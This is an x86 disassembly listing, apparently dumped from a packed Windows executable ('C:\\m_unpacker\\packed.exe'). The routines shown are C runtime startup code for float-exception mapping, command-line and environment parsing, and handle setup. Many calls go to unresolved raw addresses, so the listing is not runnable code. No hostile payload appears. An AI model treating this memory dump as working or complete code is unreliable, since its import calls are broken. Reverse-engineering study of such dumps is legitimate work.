		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CF80h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43CFFC
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43CFFC, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43CFFC, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43CFFC, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43CFFC, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43CFFC, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43CFFC, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43CFFC, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43CFFC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43CFFC, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA00, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 27D0360h


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43CFF8
		cmp	dword_43CF78, edx
		push	esi
		mov	eax, offset dword_43CF78
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF78h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF78h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFD4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFCC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFD4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB998
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB950, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB998
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB998
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB998, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFD0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFD4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2810000h
		mov	eax, dword_4DCFCC
		mov	off_4DB960, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB948, esi
		pop	edi
		pop	esi
		mov	dword_4DB944, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEA1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEA1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEA1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEA1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB08
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB08, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB08, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 27D025Bh
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 27D0284h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCC80, esi
		mov	dword_4DCD80, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCC80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2A40000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCD80, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCC84


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCD80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCD80, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCD80


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 27C02EDh
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCC80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 27C0A2Ah
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 27C02EDh
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCD80
		nop
		call	near ptr 27C0CC3h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9A0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A974, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB0C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D008


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D098
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D008[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9A0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A974, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
